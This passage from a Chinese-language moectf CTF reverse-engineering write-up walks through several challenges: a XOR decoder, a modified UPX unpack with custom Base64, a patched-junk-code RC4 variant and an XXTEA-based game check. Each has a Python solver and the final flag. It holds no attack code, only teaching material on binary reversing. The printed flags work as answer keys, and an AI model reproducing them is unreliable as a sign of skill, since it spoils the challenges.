&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-69.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;之后修改函数边界对着冒红行摁u&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-70.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;之后正常反汇编，查看slove函数，找到最主要的一步&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-71.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;encode函数以及enc和key，其中正确的初始key很关键&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-72.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-73.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# brute_recover_flag.py

import string

# enc 常量表（32 个）
enc = [
    0x4F, 0x1A, 0x59, 0x1F, 0x5B, 0x1D, 0x5D, 0x6F,
    0x7B, 0x47, 0x7E, 0x44, 0x6A, 0x07, 0x59, 0x67,
    0x0E, 0x52, 0x08, 0x63, 0x5C, 0x1A, 0x52, 0x1F,
    0x20, 0x7B, 0x21, 0x77, 0x70, 0x25, 0x74, 0x2B,
]

PRINTABLE = set(string.printable) - set(&quot;\r\n\t\x0b\x0c&quot;)

def decode_with_key(enc, key):
    # s[i] = enc[i] ^ (key + i)
    bs = [(e ^ ((key + i) &amp;amp; 0xFF)) &amp;amp; 0xFF for i, e in enumerate(enc)]
    return &apos;&apos;.join(chr(b) for b in bs)

def looks_good(s):
    # 1) 全可打印  2) 不含控制字符  3) 基本可读
    return all(ch in PRINTABLE for ch in s)

candidates = []
for key in range(256):
    inner = decode_with_key(enc, key)
    if looks_good(inner):
        candidates.append((key, inner))

# 输出候选 key 及解码结果
for key, inner in candidates:
    print(f&quot;key=0x{key:02X} -&amp;gt; {inner}&quot;)

# 通常只有极少数候选；从可读性判断最佳那个

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;moectf{f0r3v3r_JuMp_1n_7h3_a$m_a9b35c3c}&lt;/p&gt;
&lt;h1&gt;14 upx_revenge&lt;/h1&gt;
&lt;p&gt;我们只需要在4.24.后面插入UPX!就可以正常脱壳了&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-74.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;脱壳&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-75.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;IDA打开，分析主函数，最主要的在这&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-76.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;去分析sub_7FF6BA531230  sub_7FF6BA531300两个函数&lt;/p&gt;
&lt;p&gt;sub_7FF6BA531230 是对标准表进行异或14，sub_7FF6BA531300是调用这个表进行Base64编码&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-77.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;异或后的表&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GMLQOJPI^DXHZSBUT[ARCYV-KWEN]@F\\(&amp;gt;JD=MLZSIWPHGYAQBEOU)TNVurqpcjgmlhfnadkbisoetv(zyx,0w.4-2863q1)5?9+7
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;只需要输入的字符串用这个表进行Base64编码与硬字符串lY7bW=\ck?eyjX7]TZ\}CVbh\tOyTH6&amp;gt;jH7XmFifG]H7对比&lt;/p&gt;
&lt;p&gt;脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;standard_table = &quot;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/&quot;

encoded = &quot;lY7bW=\\ck?eyjX7]TZ\\}CVbh\\tOyTH6&amp;gt;jH7XmFifG]H7&quot;.replace(&quot;\\\\&quot;, &quot;\\&quot;)  # 处理转义

# 生成自定义表
custom_table = &apos;&apos;.join(chr(ord(c) ^ 0xE) for c in standard_table)

# 创建映射: char -&amp;gt; index
char_to_index = {custom_table[i]: i for i in range(64)}

# 解码
flag_bytes = []
for i in range(len(encoded) // 4):
    group = encoded[i*4:i*4+4]
    indices = [char_to_index[c] for c in group]
    value = (indices[0] &amp;lt;&amp;lt; 18) | (indices[1] &amp;lt;&amp;lt; 12) | (indices[2] &amp;lt;&amp;lt; 6) | indices[3]
    flag_bytes.append(value &amp;gt;&amp;gt; 16 &amp;amp; 0xFF)
    flag_bytes.append(value &amp;gt;&amp;gt; 8 &amp;amp; 0xFF)
    flag_bytes.append(value &amp;amp; 0xFF)

flag = &apos;&apos;.join(chr(b) for b in flag_bytes)

print(&quot;Flag:&quot;, flag)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;moectf{Y0u_Re4l1y_G00d_4t_Upx!!!}&lt;/p&gt;
&lt;h1&gt;15 guess&lt;/h1&gt;
&lt;p&gt;IDA打开，定位到主函数，无法反编译&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-78.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;定位到140001A5A，有花指令&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-79.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;改成单条无条件跳转，其余全部nop&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-80.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ok，可以成功反编译&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-81.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;分析函数行为，是一个猜谜游戏，主要的逻辑在这里，看名字知道是RC4算法&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-82.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;点进去，主要逻辑在rc4_ksa和rc4_prga&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-83.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;分别点进去查看，先看ksa，比正常RC4相比密钥要加常数42&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-84.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;再看prga是一个标准的&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-85.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来我们是找key和enc，shift+F12&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-86.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from binascii import unhexlify

def rc4_with_plus42(data: bytes, key: bytes) -&amp;gt; bytes:
    # === KSA 带 +42 ===
    S = list(range(256))
    j = 0
    for i in range(256):
        k = (key[i % len(key)] + 42) &amp;amp; 0xFF
        j = (j + S[i] + k) &amp;amp; 0xFF
        S[i], S[j] = S[j], S[i]

    # === PRGA 标准 ===
    i = j = 0
    out = bytearray()
    for b in data:
        i = (i + 1) &amp;amp; 0xFF
        j = (j + S[i]) &amp;amp; 0xFF
        S[i], S[j] = S[j], S[i]
        K = S[(S[i] + S[j]) &amp;amp; 0xFF]
        out.append(b ^ K)
    return bytes(out)

enc_hex = &quot;464DCF81DE6F2E16BE203F10565CCDBFF18CCD6A45967D20DC558FB76C0CC3AE07D154&quot;
key_str = &quot;moectf2025&quot;

cipher = unhexlify(enc_hex)
plain = rc4_with_plus42(cipher, key_str.encode())

print(&quot;moectf{&quot; + plain.decode(errors=&quot;ignore&quot;) + &quot;}&quot;)


&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;moectf{RrRRccCc44$$_w1th_fl0w3r!!_3c6a11b5}&lt;/p&gt;
&lt;h1&gt;09 2048_master_re&lt;/h1&gt;
&lt;p&gt;这道题是一个窗口游戏题，有两种解题思路&lt;/p&gt;
&lt;p&gt;一种是HOOK,另一种是直接逆向解密&lt;/p&gt;
&lt;p&gt;先说逆向解密，在字符串中找到这个&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-87.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;点开，是一个flag校验函数， 它从 flag.txt 中读取字符串，经过某种加密/变换后，与内置的字节数组 byte_495280 进行比对，若完全一致则返回 0（正确），否则返回 1（错误）。&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-88.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;去查看加密函数sub_401A81&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-89.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;sub_401898：按 小端把明文每 4 字节打包成 uint32_t 数组，长度 Count=(len+3)//4，没有额外写入原始长度；&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-90.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;sub_401530：标准 BTEA/XXTEA，delta = 1050114489 (0x3E9779B9)，key 为 16 字节，索引 (p^e)&amp;amp;3；&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-91.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;sub_40195B：把 uint32_t[] 原样拆回字节（每个 dword → 两个 _WORD），最终输出字节数 &lt;em&gt;a3 = 4&lt;/em&gt;Count。&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-92.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from typing import List

DELTA = 0x3E9779B9

def to_u32_le_blocks(b: bytes) -&amp;gt; List[int]:
    pad = (-len(b)) % 4
    b += b&apos;\x00&apos; * pad
    return [int.from_bytes(b[i:i+4], &apos;little&apos;) for i in range(0, len(b), 4)]

def from_u32_le_blocks(v: List[int]) -&amp;gt; bytes:
    return b&apos;&apos;.join(x.to_bytes(4, &apos;little&apos;) for x in v)

def btea(v: List[int], n: int, k: List[int]) -&amp;gt; None:
    &quot;&quot;&quot;XXTEA/BTEA inplace; n&amp;gt;1 加密，n&amp;lt;-1 解密&quot;&quot;&quot;
    if n &amp;gt; 1:
        rounds = 6 + 52 // n
        _sum = 0
        z = v[n - 1]
        for _ in range(rounds):
            _sum = (_sum + DELTA) &amp;amp; 0xFFFFFFFF
            e = (_sum &amp;gt;&amp;gt; 2) &amp;amp; 3
            for p in range(n - 1):
                y = v[p + 1]
                v[p] = (v[p] + ((((z &amp;gt;&amp;gt; 5) ^ (y &amp;lt;&amp;lt; 2)) + ((y &amp;gt;&amp;gt; 3) ^ (z &amp;lt;&amp;lt; 4)))
                                ^ ((_sum ^ y) + (k[(p ^ e) &amp;amp; 3] ^ z)))) &amp;amp; 0xFFFFFFFF
                z = v[p]
            p = n - 1
            y = v[0]
            v[p] = (v[p] + ((((z &amp;gt;&amp;gt; 5) ^ (y &amp;lt;&amp;lt; 2)) + ((y &amp;gt;&amp;gt; 3) ^ (z &amp;lt;&amp;lt; 4)))
                            ^ ((_sum ^ y) + (k[(p ^ e) &amp;amp; 3] ^ z)))) &amp;amp; 0xFFFFFFFF
            z = v[p]
    elif n &amp;lt; -1:
        n = -n
        rounds = 6 + 52 // n
        _sum = (rounds * DELTA) &amp;amp; 0xFFFFFFFF
        y = v[0]
        while rounds &amp;gt; 0:
            e = (_sum &amp;gt;&amp;gt; 2) &amp;amp; 3
            for p in range(n - 1, 0, -1):
                z = v[p - 1]
                v[p] = (v[p] - ((((z &amp;gt;&amp;gt; 5) ^ (y &amp;lt;&amp;lt; 2)) + ((y &amp;gt;&amp;gt; 3) ^ (z &amp;lt;&amp;lt; 4)))
                                ^ ((_sum ^ y) + (k[(p ^ e) &amp;amp; 3] ^ z)))) &amp;amp; 0xFFFFFFFF
                y = v[p]
            p = 0
            z = v[n - 1]
            v[0] = (v[0] - ((((z &amp;gt;&amp;gt; 5) ^ (y &amp;lt;&amp;lt; 2)) + ((y &amp;gt;&amp;gt; 3) ^ (z &amp;lt;&amp;lt; 4)))
                            ^ ((_sum ^ y) + (k[(p ^ e) &amp;amp; 3] ^ z)))) &amp;amp; 0xFFFFFFFF
            y = v[0]
            _sum = (_sum - DELTA) &amp;amp; 0xFFFFFFFF
            rounds -= 1

# ==== 数据区 ====

# 全局密文 byte_495280（注意这里只取前 40 字节，其余是 0 padding，不参与校验）
cipher_bytes = bytes([
    0x35,0x79,0x77,0xCC,0x1B,0x13,0x41,0x34,
    0xF9,0xFF,0x9F,0x91,0xFF,0x5B,0x94,0x78,
    0x86,0x2A,0xAF,0xAE,0xD7,0x9E,0x31,0x4D,
    0x7A,0xC4,0xA5,0x51,0xD1,0xD9,0x6E,0x44,
    0x18,0x52,0x86,0x1B,0x42,0x8A,0xC9,0x63,
])

# key = &quot;2048master2048ma&quot; → 拆成 4 个小端 uint32
key_words = [
    int.from_bytes(b&quot;2048&quot;, &quot;little&quot;),
    int.from_bytes(b&quot;mast&quot;, &quot;little&quot;),
    int.from_bytes(b&quot;er20&quot;, &quot;little&quot;),
    int.from_bytes(b&quot;48ma&quot;, &quot;little&quot;),
]

# ==== 解密流程 ====
v = to_u32_le_blocks(cipher_bytes)
btea(v, -len(v), key_words)
plain = from_u32_le_blocks(v)

# 原始 flag 长度 = 37
flag = plain[:37].decode(errors=&quot;ignore&quot;)
print(&quot;Flag:&quot;, flag)

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;moectf{@_N1c3_cup_0f_XXL_te4_1n_2O48}&lt;/p&gt;
</content:encoded></item></channel></rss>